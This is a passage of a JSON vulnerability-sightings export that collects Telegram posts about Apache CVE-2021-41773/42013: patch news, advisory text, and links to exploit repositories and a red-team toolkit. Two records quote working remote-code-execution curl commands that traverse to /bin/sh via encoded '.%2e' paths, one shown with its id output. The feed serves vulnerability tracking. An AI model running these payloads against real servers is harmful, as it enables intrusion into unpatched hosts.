\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 Zhone.\n@NeKaspersky", "creation_timestamp": "2022-04-14T15:17:01.000000Z"}, {"uuid": "541b7846-2aa8-413c-be80-b998034b9e70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/cisoclub/1063", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (18-24 \u043e\u043a\u0442\u044f\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \u0412 \ud83d\udcbb\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 AMD \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \ud83e\uddb9\u200d\u2642\ufe0f\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0430\u0442\u0430\u043a Meltdown.\n\n2\ufe0f\u20e3 \u0412 \ud83d\udcd2WinRAR \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \ud83d\ude1f\u0431\u0435\u0437 \u0432\u0435\u0434\u043e\u043c\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \n\n3\ufe0f\u20e3 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u0443 \u043f\u043e \ud83d\udd13\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 Polygon (\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Ethereum), \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0438 \u0440\u0435\u043a\u043e\u0440\u0434\u043d\u043e\u0435 \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u2013 \ud83d\udcb02 \u043c\u043b\u043d. \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432. \n\n4\ufe0f\u20e3 \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Swascan \ud83d\udcdd\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 DVR Visual Tools. \n\n5\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Apache Software \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \ud83d\udd27\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2021-41773, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0440\u0430\u043d\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438 cPanel Security.\n\n6\ufe0f\u20e3 \u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f Google \ud83e\uddfe\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u044f\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \ud83c\udf0eChrome.\n\n7\ufe0f\u20e3 \u0412 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Brizy Page Builder \u0434\u043b\u044f \ud83e\uddfeWordPress \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u043e\u0442\u0435\u043d \u0442\u044b\u0441\u044f\u0447 \ud83d\udda5\u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432. \n\n8\ufe0f\u20e3 \u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f Microsoft \ud83d\udcc3\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043e\u043a\u0442\u044f\u0431\u0440\u044c\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \ud83d\udcc881 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0442\u0440\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f\u0432\u043b\u044f\u043b\u0438\u0441\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438. \n\n9\ufe0f\u20e3 \u0412 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 Slack \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \ud83e\uddb9\u200d\u2642\ufe0f\u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c \ud83e\udd37\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0437\u0430 \u0435\u0451 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438.", "creation_timestamp": "2026-07-30T00:02:59.533093Z"}, {"uuid": "463b4cb4-b9ed-4cf6-8e75-98dbe696a756", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/KaitNews/9005", "content": "\ud83d\udd30 Apache (Linux) CVE-2021-41773/2021-42013 Mass Vulnerability Checker\n\nAutomatic Mass Tool for checking vulnerability in Apache (Linux) 2.4.49/50\nUsing GNU Parallel. You must have parallel for running this tool\n\nhttps://github.com/im-hanzou/apachrot\n\n@KaitNews", "creation_timestamp": "2026-07-30T00:03:20.331973Z"}, {"uuid": "f3f7ed7e-91d6-4e2e-a023-4257f526d4f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/cibsecurity/29998", "content": "\u274c Apache Web Server Zero-Day Exposes Sensitive Data \u274c\n\nThe open-source project has rolled out a security fix for CVE-2021-41773, for which public cyberattack exploit code is circulating.\n\n\ud83d\udcd6 Read\n\nvia \"Threat Post\".", "creation_timestamp": "2021-10-05T22:27:44.000000Z"}, {"uuid": "5cf19a7d-14ac-46ca-8a73-27ac22501ff2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/cibsecurity/30186", "content": "\u203c CVE-2021-42013 \u203c\n\nIt was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration \"require all denied\", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-07T20:34:08.000000Z"}, {"uuid": "812ad696-a5d8-4ed0-882b-2cb327d18426", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/12359", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2021-41773-EXPLOIT*\nGithub: https://github.com/K3ysTr0K3R/CVE-2021-41773-EXPLOIT", "creation_timestamp": "2026-07-31T00:00:05.751157Z"}, {"uuid": "379b941d-4a2f-4d42-9a0f-5a9375ccd2ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/reverse_dungeon/900", "content": "blasty/CVE-2021-41773\nCVE-2021-41773 playground\nLanguage: Dockerfile\nStars: 153 Issues: 1 Forks: 37\nhttps://github.com/blasty/CVE-2021-41773", "creation_timestamp": "2021-10-10T18:03:51.000000Z"}, {"uuid": "0ebf36a2-f42c-4281-907c-ba905eb37631", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/860", "content": "RCE exploit both for Apache 2.4.49 (CVE-2021-41773) and 2.4.50 (CVE-2021-42013):\nroot@CT406:~# curl 'http://192.168.0.191/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; id'\nuid=1(daemon) gid=1(daemon) groups=1(daemon)", "creation_timestamp": "2021-10-08T05:00:59.000000Z"}, {"uuid": "049916d1-427c-4843-bac9-c62a778839bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/thehackernews/1572", "content": "A new urgent Apache patch update has been released for the actively exploited Path Traversal issue (CVE-2021-41773), which has now been identified as a critical remote code execution #vulnerability.\n\nDetails: https://thehackernews.com/2021/10/new-patch-released-for-actively.html", "creation_timestamp": "2021-10-08T06:54:29.000000Z"}, {"uuid": "e341eee9-02b7-490d-ae06-c16b9ea8699b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/thehackernews/1563", "content": "Apache has issued urgent security patches to address 2 new security vulnerabilities\u2014including a zero-day path traversal and file disclosure flaw (CVE-2021-41773) in HTTP servers that it said is being actively exploited in the wild.\n\nDetails: https://thehackernews.com/2021/10/apache-warns-of-zero-day-exploit-in.html", "creation_timestamp": "2021-10-05T17:09:54.000000Z"}, {"uuid": "17a7f566-2614-4219-9ef6-687db6abe408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/xakep_ru/11408", "content": "\u0421\u0432\u0435\u0436\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Apache \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430\n\n\u0420\u0430\u043d\u0435\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Apache Software Foundation \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2021-41773 \u0432 \u0441\u0432\u043e\u0435\u043c HTTP \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0436\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u0430 \u043f\u043e\u044f\u0432\u0438\u0432\u0448\u0438\u0435\u0441\u044f \u0432 \u0441\u0435\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\nhttps://xakep.ru/2021/10/07/apache-rce/", "creation_timestamp": "2021-10-07T17:03:47.000000Z"}, {"uuid": "399ed352-7966-4b5e-92f6-86b70407ecae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/xakep_ru/11422", "content": "\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Apache \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0441\u0432\u0435\u0436\u0435\u0439 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Apache \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2021-41773 \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0430. \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0432\u0442\u043e\u0440\u043e\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE \u0438 \u0434\u043b\u044f \u043d\u0435\u0435 \u0432\u044b\u0448\u0435\u043b \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0442\u0447.\n\nhttps://xakep.ru/2021/10/11/cve-2021-42013/", "creation_timestamp": "2021-10-11T18:33:48.000000Z"}, {"uuid": "d3955521-3bc8-4a70-a80b-83e19dee15c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/webpwn/305", "content": "\u041d\u0435\u0434\u0430\u0432\u043d\u044f\u044f CVE-2021-41773 \u0432 Apache 2.4.49, \u044d\u0442\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0445\u043e\u0434 \u0438\u0437 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0441 \u0447\u0442\u0435\u043d\u0438\u0435\u043c \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u0430\u043a \u043c\u043d\u043e\u0433\u0438\u0435 \u043f\u043e\u0434\u0443\u043c\u0430\u043b\u0438 \n\ncurl --data \"A=|echo;id\" 'http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'", "creation_timestamp": "2021-10-06T11:18:40.000000Z"}, {"uuid": "b85ffb7b-952d-46ee-9691-fa7651e57881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/1227", "content": "CVE-2021\nCVE-2021-41773 Test Page & Exploit Code\n\nhttps://github.com/jhye0n/CVE-2021-41773\n\n@BlueRedTeam", "creation_timestamp": "2021-11-26T07:34:27.000000Z"}, {"uuid": "3d013a25-9b83-4b18-844a-367fccf69e86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/cultofwire/997", "content": "\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e CVE \u0447\u0435\u0440\u0435\u0437 API.\n\n\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043a\u0430\u043d\u0435\u0440\u044b \u044d\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u043e, \u043d\u043e false positive \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u043e\u0442\u043c\u0435\u043d\u044f\u043b. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u044d\u0442\u043e \u0432\u0441\u0451 \u043d\u0430\u0434\u043e, \u043d\u043e \u0440\u0443\u043a\u0430\u043c\u0438 \u0433\u0443\u0433\u043b\u0438\u0442\u044c \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0434\u043e\u043b\u0433\u0438\u0439. \u0411\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 API.\n\n\u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u043d\u0444\u0443 \u043f\u043e CVE \u0441\u043e \u0432\u0441\u0435\u043c\u0438 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438:\ncurl -s https://cve.circl.lu/api/cve/CVE-2021-41773 \n\n\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043f\u043e CVE, \u0432\u044b\u0432\u043e\u0434\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0440\u0441\u0438\u0438 \u041f\u041e:\ncurl -s https://cve.circl.lu/api/cve/CVE-2021-41773 | jq \".id, .vulnerable_product\"\n\n\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043f\u043e CVE \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430:\ncat cve.list | xargs -I % curl -s https://cve.circl.lu/api/cve/% | jq \".id, .vulnerable_product\"\n \n\u041a\u0440\u043e\u043c\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e API \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0441\u0432\u043e\u0439 CVE-Search c  \u043f\u0440\u0435\u0444\u0435\u0440\u0430\u043d\u0441\u043e\u043c \u0438 \u043a\u0443\u0440\u0442\u0438\u0437\u0430\u043d\u043a\u0430\u043c\u0438  Mongo \u0438 Flask.\n\u0418 \u0434\u0430\u0436\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0434\u043b\u044f Python \u0435\u0441\u0442\u044c.\n\nP.S. \u041d\u0435 \u0443\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043f\u0438\u0441\u043e\u043a CVE \u043f\u043e \u0432\u0435\u043d\u0434\u043e\u0440\u0443, \u0442\u043e\u043b\u0438 \u043b\u044b\u0436\u0438 \u043d\u0435 \u0435\u0434\u0443\u0442, \u0442\u043e\u043b\u0438 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0430\u0434\u043e \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.\n\n\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043a API \n\u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 CVE-Search \n\u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 python", "creation_timestamp": "2022-04-27T20:24:01.000000Z"}, {"uuid": "b94a5163-0eb3-47d4-b4dc-e6e7d0cce0b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/5698", "content": "CVE-2021-41773: Path Traversal Zero-Day in Apache HTTP Server Exploited\n\nhttps://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited", "creation_timestamp": "2021-10-05T23:41:42.000000Z"}, {"uuid": "8db1abec-46ba-436d-9f75-546011cc0007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/forensictools/469", "content": "RedTeam Toolkit\n[https://github.com/signorrayan/RedTeam_toolkit]\n\nweb-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Python (Django), \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0435 \u043d\u0430\u0431\u043e\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 red-team \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0412 \u043e\u0441\u043d\u043e\u0432\u0435 \u043b\u0435\u0436\u0430\u0442 \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u044b, \u043a\u0430\u043a nmap, rustscan, dirsearch, shreder, circl, crowbar \u0438 \u0442.\u0434.\n\n\u2022 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0440\u0442\u043e\u0432 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0446\u0435\u043b\u0438\n\u2022 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0441\u0435\u0445 \u0436\u0438\u0432\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 \u0432 \u043f\u043e\u0434\u0441\u0435\u0442\u0438\n\u2022 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0441\u0435\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u0446\u0435\u043b\u0438\n\u2022 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 CVE \u043f\u043e CveID\n\u2022 \u0430\u0442\u0430\u043a\u0430 \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044e SSH\n\u2022 RDP BruteForce\n\u2022 \u0440\u0430\u0437\u0434\u0435\u043b WebApps: Apache Path Traversal PoC (CVE-2021-41773), \u0412\u0435\u0431-\u043a\u0440\u0430\u0443\u043b\u0435\u0440 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 URL-\u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u0441\u0443\u0431\u0434\u043e\u043c\u0435\u043d\u043e\u0432\n\u2022 \u0440\u0430\u0437\u0434\u0435\u043b Windows (\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u0442\u0441\u044f, \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 CVE \u0431\u0443\u0434\u0443\u0442 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b): Microsoft Exchange ProxyShell PoC (CVE-2021-34523, CVE-2021-34473, CVE-2021-31207)\n\u2022 \u0440\u0430\u0437\u0434\u0435\u043b Linux \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 CVE \u0432 Linux \u0442\u0430\u043a\u0436\u0435 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\n\n#pentest #python #redteam #vulns", "creation_timestamp": 